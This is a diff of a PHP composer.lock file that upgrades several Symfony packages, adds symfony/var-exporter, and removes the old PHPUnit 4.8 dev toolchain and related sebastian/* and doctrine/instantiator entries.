@@ "type": "tidelift" } ], - "time": "2023-01-26T09:26:14+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/polyfill-mbstring", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "42292d99c55abe617799667f454222c54c60e229" + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/42292d99c55abe617799667f454222c54c60e229", - "reference": "42292d99c55abe617799667f454222c54c60e229", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec", "shasum": "" }, "require": { @@ -456,9 +448,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -496,7 +485,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.29.0" }, "funding": [ { @@ -512,127 +501,45 @@ "type": "tidelift" } ], - "time": "2023-07-28T09:04:16+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { - "name": "symfony/polyfill-php80", - "version": "v1.28.0", + "name": "symfony/service-contracts", + "version": "v3.4.1", "source": { "type": "git", - "url": "https://github.com/symfony/polyfill-php80.git", - "reference": "6caa57379c4aec19c0a12a38b59b26487dcfe4b5" + "url": "https://github.com/symfony/service-contracts.git", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/6caa57379c4aec19c0a12a38b59b26487dcfe4b5", - "reference": "6caa57379c4aec19c0a12a38b59b26487dcfe4b5", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/fe07cbc8d837f60caf7018068e350cc5163681a0", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0", "shasum": "" }, "require": { - "php": ">=7.1" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "files": [ - "bootstrap.php" - ], - "psr-4": { - "Symfony\\Polyfill\\Php80\\": "" - }, - "classmap": [ - "Resources/stubs" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Ion Bazan", - "email": "ion.bazan@gmail.com" - }, - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-php80/tree/v1.28.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2023-01-26T09:26:14+00:00" - }, - { - "name": "symfony/polyfill-php81", - "version": "v1.28.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-php81.git", - "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b" + "php": ">=8.1", + "psr/container": "^1.1|^2.0" }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/7581cd600fa9fd681b797d00b02f068e2f13263b", - "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b", - "shasum": "" - }, - "require": { - "php": ">=7.1" + "conflict": { + "ext-psr": "<1.1|>=2" }, "type": "library", "extra": { "branch-alias": { - "dev-main": "1.28-dev" + "dev-main": "3.4-dev" }, "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" } }, "autoload": { - "files": [ - "bootstrap.php" - ], "psr-4": { - "Symfony\\Polyfill\\Php81\\": "" + "Symfony\\Contracts\\Service\\": "" }, - "classmap": [ - "Resources/stubs" + "exclude-from-classmap": [ + "/Test/" ] }, "notification-url": "https://packagist.org/downloads/", @@ -649,16 +556,18 @@ "homepage": "https://symfony.com/contributors" } ], - "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "description": "Generic abstractions related to writing services", "homepage": "https://symfony.com", "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" ], "support": { - "source": "https://github.com/symfony/polyfill-php81/tree/v1.28.0" + "source": "https://github.com/symfony/service-contracts/tree/v3.4.1" }, "funding": [ { @@ -674,47 +583,36 @@ "type": "tidelift" } ], - "time": "2023-01-26T09:26:14+00:00" + "time": "2023-12-26T14:02:43+00:00" }, { - "name": "symfony/service-contracts", - "version": "v2.5.2", + "name": "symfony/var-exporter", + "version": "v7.0.3", "source": { "type": "git", - "url": "https://github.com/symfony/service-contracts.git", - "reference": "4b426aac47d6427cc1a1d0f7e2ac724627f5966c" + "url": "https://github.com/symfony/var-exporter.git", + "reference": "1fb79308cb5fc2b44bff6e8af10a5af6812e05b8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/4b426aac47d6427cc1a1d0f7e2ac724627f5966c", - "reference": "4b426aac47d6427cc1a1d0f7e2ac724627f5966c", + "url": "https://api.github.com/repos/symfony/var-exporter/zipball/1fb79308cb5fc2b44bff6e8af10a5af6812e05b8", + "reference": "1fb79308cb5fc2b44bff6e8af10a5af6812e05b8", "shasum": "" }, "require": { - "php": ">=7.2.5", - "psr/container": "^1.1", - "symfony/deprecation-contracts": "^2.1|^3" + "php": ">=8.2" }, - "conflict": { - "ext-psr": "<1.1|>=2" - }, - "suggest": { - "symfony/service-implementation": "" + "require-dev": { + "symfony/var-dumper": "^6.4|^7.0" }, "type": "library", - "extra": { - "branch-alias": { - "dev-main": "2.5-dev" - }, - "thanks": { - "name": "symfony/contracts", - "url": "https://github.com/symfony/contracts" - } - }, "autoload": { "psr-4": { - "Symfony\\Contracts\\Service\\": "" - } + "Symfony\\Component\\VarExporter\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] }, "notification-url": "https://packagist.org/downloads/", "license": [ @@ -730,18 +628,20 @@ "homepage": "https://symfony.com/contributors" } ], - "description": "Generic abstractions related to writing services", + "description": "Allows exporting any serializable PHP data structure to plain PHP code", "homepage": "https://symfony.com", "keywords": [ - "abstractions", - "contracts", - "decoupling", - "interfaces", - "interoperability", - "standards" + "clone", + "construct", + "export", + "hydrate", + "instantiate", + "lazy-loading", + "proxy", + "serialize" ], "support": { - "source": "https://github.com/symfony/service-contracts/tree/v2.5.2" + "source": "https://github.com/symfony/var-exporter/tree/v7.0.3" }, "funding": [ { @@ -757,81 +657,11 @@ "type": "tidelift" } ], - "time": "2022-05-30T19:17:29+00:00" + "time": "2024-01-23T15:02:46+00:00" } ], "packages-dev": [ { - "name": "doctrine/instantiator", - "version": "1.5.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/instantiator.git", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/0a0fa9780f5d4e507415a065172d26a98d02047b", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "require-dev": { - "doctrine/coding-standard": "^9 || ^11", - "ext-pdo": "*", - "ext-phar": "*", - "phpbench/phpbench": "^0.16 || ^1", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", - "vimeo/psalm": "^4.30 || ^5.4" - }, - "type": "library", - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "https://ocramius.github.io/" - } - ], - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "constructor", - "instantiate" - ], - "support": { - "issues": "https://github.com/doctrine/instantiator/issues", - "source": "https://github.com/doctrine/instantiator/tree/1.5.0" - }, - "funding": [ - { - "url": "https://www.doctrine-project.org/sponsorship.html", - "type": "custom" - }, - { - "url": "https://www.patreon.com/phpdoctrine", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", - "type": "tidelift" - } - ], - "time": "2022-12-30T00:15:36+00:00" - }, - { "name": "easy-doc/easy-doc", "version": "1.4.1", "source": { @@ -947,928 +777,6 @@ "time": "2020-04-09T08:09:05+00:00" }, { - "name": "phpdocumentor/reflection-docblock", - "version": "2.0.5", - "source": { - "type": "git", - "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", - "reference": "e6a969a640b00d8daa3c66518b0405fb41ae0c4b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/e6a969a640b00d8daa3c66518b0405fb41ae0c4b", - "reference": "e6a969a640b00d8daa3c66518b0405fb41ae0c4b", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.0" - }, - "suggest": { - "dflydev/markdown": "~1.0", - "erusev/parsedown": "~1.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "autoload": { - "psr-0": { - "phpDocumentor": [ - "src/" - ] - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Mike van Riel", - "email": "mike.vanriel@naenius.com" - } - ], - "support": { - "issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues", - "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/release/2.x" - }, - "time": "2016-01-25T08:17:30+00:00" - }, - { - "name": "phpspec/prophecy", - "version": "v1.5.0", - "source": { - "type": "git", - "url": "https://github.com/phpspec/prophecy.git", - "reference": "4745ded9307786b730d7a60df5cb5a6c43cf95f7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpspec/prophecy/zipball/4745ded9307786b730d7a60df5cb5a6c43cf95f7", - "reference": "4745ded9307786b730d7a60df5cb5a6c43cf95f7", - "shasum": "" - }, - "require": { - "doctrine/instantiator": "^1.0.2", - "phpdocumentor/reflection-docblock": "~2.0", - "sebastian/comparator": "~1.1" - }, - "require-dev": { - "phpspec/phpspec": "~2.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.4.x-dev" - } - }, - "autoload": { - "psr-0": { - "Prophecy\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Konstantin Kudryashov", - "email": "ever.zet@gmail.com", - "homepage": "http://everzet.com" - }, - { - "name": "Marcello Duarte", - "email": "marcello.duarte@gmail.com" - } - ], - "description": "Highly opinionated mocking framework for PHP 5.3+", - "homepage": "https://github.com/phpspec/prophecy", - "keywords": [ - "Double", - "Dummy", - "fake", - "mock", - "spy", - "stub" - ], - "support": { - "issues": "https://github.com/phpspec/prophecy/issues", - "source": "https://github.com/phpspec/prophecy/tree/master" - }, - "time": "2015-08-13T10:07:40+00:00" - }, - { - "name": "phpunit/php-code-coverage", - "version": "2.2.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "eabf68b476ac7d0f73793aada060f1c1a9bf8979" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/eabf68b476ac7d0f73793aada060f1c1a9bf8979", - "reference": "eabf68b476ac7d0f73793aada060f1c1a9bf8979", - "shasum": "" - }, - "require": { - "php": ">=5.3.3", - "phpunit/php-file-iterator": "~1.3", - "phpunit/php-text-template": "~1.2", - "phpunit/php-token-stream": "~1.3", - "sebastian/environment": "^1.3.2", - "sebastian/version": "~1.0" - }, - "require-dev": { - "ext-xdebug": ">=2.1.4", - "phpunit/phpunit": "~4" - }, - "suggest": { - "ext-dom": "*", - "ext-xdebug": ">=2.2.1", - "ext-xmlwriter": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.2.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sb@sebastian-bergmann.de", - "role": "lead" - } - ], - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "support": { - "irc": "irc://irc.freenode.net/phpunit", - "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/2.2" - }, - "time": "2015-10-06T15:47:00+00:00" - }, - { - "name": "phpunit/php-file-iterator", - "version": "1.4.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "730b01bc3e867237eaac355e06a36b85dd93a8b4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/730b01bc3e867237eaac355e06a36b85dd93a8b4", - "reference": "730b01bc3e867237eaac355e06a36b85dd93a8b4", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.4.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sb@sebastian-bergmann.de", - "role": "lead" - } - ], - "description": "FilterIterator implementation that filters files based on a list of suffixes.", - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "keywords": [ - "filesystem", - "iterator" - ], - "support": { - "irc": "irc://irc.freenode.net/phpunit", - "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/1.4.5" - }, - "time": "2017-11-27T13:52:08+00:00" - }, - { - "name": "phpunit/php-text-template", - "version": "1.2.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-text-template.git", - "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/31f8b717e51d9a2afca6c9f046f5d69fc27c8686", - "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Simple template engine.", - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "keywords": [ - "template" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-text-template/issues", - "source": "https://github.com/sebastianbergmann/php-text-template/tree/1.2.1" - }, - "time": "2015-06-21T13:50:34+00:00" - }, - { - "name": "phpunit/php-timer", - "version": "1.0.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-timer.git", - "reference": "38e9124049cf1a164f1e4537caf19c99bf1eb260" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/38e9124049cf1a164f1e4537caf19c99bf1eb260", - "reference": "38e9124049cf1a164f1e4537caf19c99bf1eb260", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4|~5" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sb@sebastian-bergmann.de", - "role": "lead" - } - ], - "description": "Utility class for timing", - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "keywords": [ - "timer" - ], - "support": { - "irc": "irc://irc.freenode.net/phpunit", - "issues": "https://github.com/sebastianbergmann/php-timer/issues", - "source": "https://github.com/sebastianbergmann/php-timer/tree/master" - }, - "time": "2016-05-12T18:03:57+00:00" - }, - { - "name": "phpunit/php-token-stream", - "version": "1.4.12", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-token-stream.git", - "reference": "1ce90ba27c42e4e44e6d8458241466380b51fa16" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/1ce90ba27c42e4e44e6d8458241466380b51fa16", - "reference": "1ce90ba27c42e4e44e6d8458241466380b51fa16", - "shasum": "" - }, - "require": { - "ext-tokenizer": "*", - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.2" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.4-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Wrapper around PHP's tokenizer extension.", - "homepage": "https://github.com/sebastianbergmann/php-token-stream/", - "keywords": [ - "tokenizer" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-token-stream/issues", - "source": "https://github.com/sebastianbergmann/php-token-stream/tree/1.4" - }, - "abandoned": true, - "time": "2017-12-04T08:55:13+00:00" - }, - { - "name": "phpunit/phpunit", - "version": "4.8.36", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "46023de9a91eec7dfb06cc56cb4e260017298517" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/46023de9a91eec7dfb06cc56cb4e260017298517", - "reference": "46023de9a91eec7dfb06cc56cb4e260017298517", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-json": "*", - "ext-pcre": "*", - "ext-reflection": "*", - "ext-spl": "*", - "php": ">=5.3.3", - "phpspec/prophecy": "^1.3.1", - "phpunit/php-code-coverage": "~2.1", - "phpunit/php-file-iterator": "~1.4", - "phpunit/php-text-template": "~1.2", - "phpunit/php-timer": "^1.0.6", - "phpunit/phpunit-mock-objects": "~2.3", - "sebastian/comparator": "~1.2.2", - "sebastian/diff": "~1.2", - "sebastian/environment": "~1.3", - "sebastian/exporter": "~1.2", - "sebastian/global-state": "~1.0", - "sebastian/version": "~1.0", - "symfony/yaml": "~2.1|~3.0" - }, - "suggest": { - "phpunit/php-invoker": "~1.1" - }, - "bin": [ - "phpunit" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.8.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "The PHP Unit Testing framework.", - "homepage": "https://phpunit.de/", - "keywords": [ - "phpunit", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/phpunit/issues", - "source": "https://github.com/sebastianbergmann/phpunit/tree/4.8.36" - }, - "time": "2017-06-21T08:07:12+00:00" - }, - { - "name": "phpunit/phpunit-mock-objects", - "version": "2.3.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/phpunit-mock-objects.git", - "reference": "ac8e7a3db35738d56ee9a76e78a4e03d97628983" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit-mock-objects/zipball/ac8e7a3db35738d56ee9a76e78a4e03d97628983", - "reference": "ac8e7a3db35738d56ee9a76e78a4e03d97628983", - "shasum": "" - }, - "require": { - "doctrine/instantiator": "^1.0.2", - "php": ">=5.3.3", - "phpunit/php-text-template": "~1.2", - "sebastian/exporter": "~1.2" - }, - "require-dev": { - "phpunit/phpunit": "~4.4" - }, - "suggest": { - "ext-soap": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.3.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sb@sebastian-bergmann.de", - "role": "lead" - } - ], - "description": "Mock Object library for PHPUnit", - "homepage": "https://github.com/sebastianbergmann/phpunit-mock-objects/", - "keywords": [ - "mock", - "xunit" - ], - "support": { - "irc": "irc://irc.freenode.net/phpunit", - "issues": "https://github.com/sebastianbergmann/phpunit-mock-objects/issues", - "source": "https://github.com/sebastianbergmann/phpunit-mock-objects/tree/2.3" - }, - "abandoned": true, - "time": "2015-10-02T06:51:40+00:00" - }, - { - "name": "sebastian/comparator", - "version": "1.2.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/comparator.git", - "reference": "2b7424b55f5047b47ac6e5ccb20b2aea4011d9be" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/2b7424b55f5047b47ac6e5ccb20b2aea4011d9be", - "reference": "2b7424b55f5047b47ac6e5ccb20b2aea4011d9be", - "shasum": "" - }, - "require": { - "php": ">=5.3.3", - "sebastian/diff": "~1.2", - "sebastian/exporter": "~1.2 || ~2.0" - }, - "require-dev": { - "phpunit/phpunit": "~4.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.2.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides the functionality to compare PHP values for equality", - "homepage": "http://www.github.com/sebastianbergmann/comparator", - "keywords": [ - "comparator", - "compare", - "equality" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/comparator/issues", - "source": "https://github.com/sebastianbergmann/comparator/tree/1.2" - }, - "time": "2017-01-29T09:50:25+00:00" - }, - { - "name": "sebastian/diff", - "version": "1.4.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "13edfd8706462032c2f52b4b862974dd46b71c9e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/13edfd8706462032c2f52b4b862974dd46b71c9e", - "reference": "13edfd8706462032c2f52b4b862974dd46b71c9e", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.8" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.4-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Diff implementation", - "homepage": "https://github.com/sebastianbergmann/diff", - "keywords": [ - "diff" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/diff/issues", - "source": "https://github.com/sebastianbergmann/diff/tree/master" - }, - "time": "2015-12-08T07:14:41+00:00" - }, - { - "name": "sebastian/environment", - "version": "1.3.7", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "4e8f0da10ac5802913afc151413bc8c53b6c2716" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/4e8f0da10ac5802913afc151413bc8c53b6c2716", - "reference": "4e8f0da10ac5802913afc151413bc8c53b6c2716", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.3.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides functionality to handle HHVM/PHP environments", - "homepage": "http://www.github.com/sebastianbergmann/environment", - "keywords": [ - "Xdebug", - "environment", - "hhvm" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/environment/issues", - "source": "https://github.com/sebastianbergmann/environment/tree/1.3.7" - }, - "time": "2016-05-17T03:18:57+00:00" - }, - { - "name": "sebastian/exporter", - "version": "1.2.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "42c4c2eec485ee3e159ec9884f95b431287edde4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/42c4c2eec485ee3e159ec9884f95b431287edde4", - "reference": "42c4c2eec485ee3e159ec9884f95b431287edde4", - "shasum": "" - }, - "require": { - "php": ">=5.3.3", - "sebastian/recursion-context": "~1.0" - }, - "require-dev": { - "ext-mbstring": "*", - "phpunit/phpunit": "~4.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.3.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides the functionality to export PHP variables for visualization", - "homepage": "http://www.github.com/sebastianbergmann/exporter", - "keywords": [ - "export", - "exporter" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/exporter/issues", - "source": "https://github.com/sebastianbergmann/exporter/tree/master" - }, - "time": "2016-06-17T09:04:28+00:00" - }, - { - "name": "sebastian/global-state", - "version": "1.1.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "bc37d50fea7d017d3d340f230811c9f1d7280af4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bc37d50fea7d017d3d340f230811c9f1d7280af4", - "reference": "bc37d50fea7d017d3d340f230811c9f1d7280af4", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.2" - }, - "suggest": { - "ext-uopz": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "keywords": [ - "global state" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/global-state/issues", - "source": "https://github.com/sebastianbergmann/global-state/tree/1.1.1" - }, - "time": "2015-10-12T03:26:01+00:00" - }, - { - "name": "sebastian/recursion-context", - "version": "1.0.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/recursion-context.git", - "reference": "b19cc3298482a335a95f3016d2f8a6950f0fbcd7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/b19cc3298482a335a95f3016d2f8a6950f0fbcd7", - "reference": "b19cc3298482a335a95f3016d2f8a6950f0fbcd7", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "require-dev": { - "phpunit/phpunit": "~4.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides functionality to recursively process PHP variables", - "homepage": "http://www.github.com/sebastianbergmann/recursion-context", - "support": { - "issues": "https://github.com/sebastianbergmann/recursion-context/issues", - "source": "https://github.com/sebastianbergmann/recursion-context/tree/master" - }, - "time": "2016-10-03T07:41:43+00:00" - }, - { - "name": "sebastian/version", - "version": "1.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/version.git", - "reference": "58b3a85e7999757d6ad81c787a1fbf5ff6c628c6" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/58b3a85e7999757d6ad81c787a1fbf5ff6c628c6", - "reference": "58b3a85e7999757d6ad81c787a1fbf5ff6c628c6", - "shasum": "" - }, - "type": "library", - "autoload": { - 